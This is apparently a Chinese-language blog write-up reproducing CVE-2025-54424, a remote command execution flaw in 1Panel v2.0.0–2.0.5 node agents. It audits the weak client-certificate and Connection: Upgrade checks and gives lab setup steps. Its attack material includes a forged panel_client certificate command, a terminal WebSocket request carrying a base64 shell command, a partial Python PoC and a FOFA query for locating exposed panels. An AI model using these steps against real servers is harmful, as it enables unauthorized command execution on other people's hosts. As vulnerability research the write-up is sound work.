1Panel agent远程命令执行漏洞复现 (CVE-2025-54424)
影响版本:v2.0.0 <= 1Panel <= v2.0.5
git仓库: https://github.com/1Panel-dev/1Panel
1Panel概述
1Panel是一个现代化、开源的Linux服务器运维管理面板,由飞致云团队开发维护。是目前最受欢迎的开源服务器管理面板之一。
1Panel提供了Web界面管理的服务器管理功能,包括应用商店、容器管理、文件管理、数据库管理、监控告警等功能,广泛应用于中小企业和个人开发者的服务器运维场景。
在1Panel v2 版本中,新增了节点管理功能,允许通过 Core端控制多个 Agent端主机,形成分布式管理架构。Core端 与 Agent端 之间通过HTTPS协议进行通信,这种架构设计大大提高了多服务器管理的便利性。
受影响版本中,Agent 端 TLS 认证策略为 tls.RequireAnyClientCert,仅要求提供证书但不验证其可信性。攻击者可通过自签名证书绕过 TLS 校验,伪造节点字段为 panel_client,绕过应用层校验。最终攻击者可伪造合法授权令令执行接口调用,导致远程命令执行漏洞。
代码审计
v2.0.5
router.go文件中,会对不是master节点的中间件需要进行证书验证接着跳转到证书验证函数
agent/middleware/certificate.go,
a) 发现Certificate函数判断了c.Request.TLS.HandshakeComplete是否进行了证书通讯
b) 只验证了证书CN字段为panel_client,未验证证书签发者
c) 这套代码使用了自定义请求头Proxy-id,代理节点收到请求时,会把请求头里的Proxy-Id与本机文件/etc/1panel/.nodeProxyID的内容比对;一致才继续走后续处理,用来判定请求确实来自受信主控端。
但是在校验Proxy-id前,如果请求头里的Connect字段为Upgrade可以直接Next()。没有同时校验Upgrade: websocket、Sec-WebSocket-Key/Version等 WebSocket 握手要素,也没有确认框架真的完成了协议升级;于是任何请求只要带上Connection: Upgrade,就会绕过后续的Proxy-Id比对。由于
c.Request.TLS.HandshakeComplete的真假判断是通过agent/server/server.go代码Start函数中的tls.RequireAnyClientCert来判断的,此处由于使用tls.RequireAnyClientCert而不是tls.RequireAndVerifyClientCert,RequireAnyClientCert只要求客户端提供证书,不验证证书的签发CA,所以任何自签名证书都能通过TLS握手。Terminal SSH WebSocket 接口(可执行任意命令)
1 | { |
- 因此漏洞利用的流程为:伪造CN字段为panel_client的自签名证书,利用项目中大量的Websocket接口
环境搭建
需要准备两台安装了1panel的系统,可以是vps也可以是虚拟机,一台机器配置为主节点,一台机器配置为从节点。这个漏洞针对专业版用户“节点管理”的功能,可对从节点远程命令执行。因此复现需要购买专业版。
- 下载1Panel社区版V2.0.5离线安装包 下载链接,拷贝到系统中。
- 解压tar包
1 | tar zxvf 1panel-v2.0.5-linux-amd64.tar.gz |
- 进入解压后的目录,执行脚本,然后按照指示安装即可
1 | cd 1panel-v2.0.5-linux-amd64 |
- 一台机器配置为主节点,一台机器配置为从节点
主节点需要升级成专业版(专业版购买网址),购买完成后下载许可证,导入搭建好的1panel中
作为从节点的系统需要主节点降级为从节点
1 | # 1. 进入临时目录 |
Fuzz测试
- 伪造证书:
1 | openssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client" |
在yakit中添加证书:
构建ss5连接:
1 | GET /api/v2/hosts/terminal |
- 连接成功后发送数据包
{"type": "cmd", "data": "aWQK"},成功shell目标,注意这里有base64编码
![[Blog/CVE-2025-54424复现/pic/7.png]]
Poc:使用伪造证书建立websocket连接
poc:
1 | import websocket |
运行后成功shell
Fofa指纹资产探测
1 | cert.subject_org=="FIT2CLOUD" && ip.port="9999" || cert.subject.suffix=="panel_server" |
子节点和父节点一样,可以搭建网站等一系列服务。使用节点管理的功能可以很好地控制这些子节点,当然对于控制过程中的ssh通信等接口的证书和身份验证是确保网站安全的重中之重。
参考文章
主从节点切换
CVE-2025-54424 1Panel远程命令执行漏洞详细分析及复现
【漏洞复现】1Panel <= v2.0.5 远程命令执行(CVE-2025-54424)












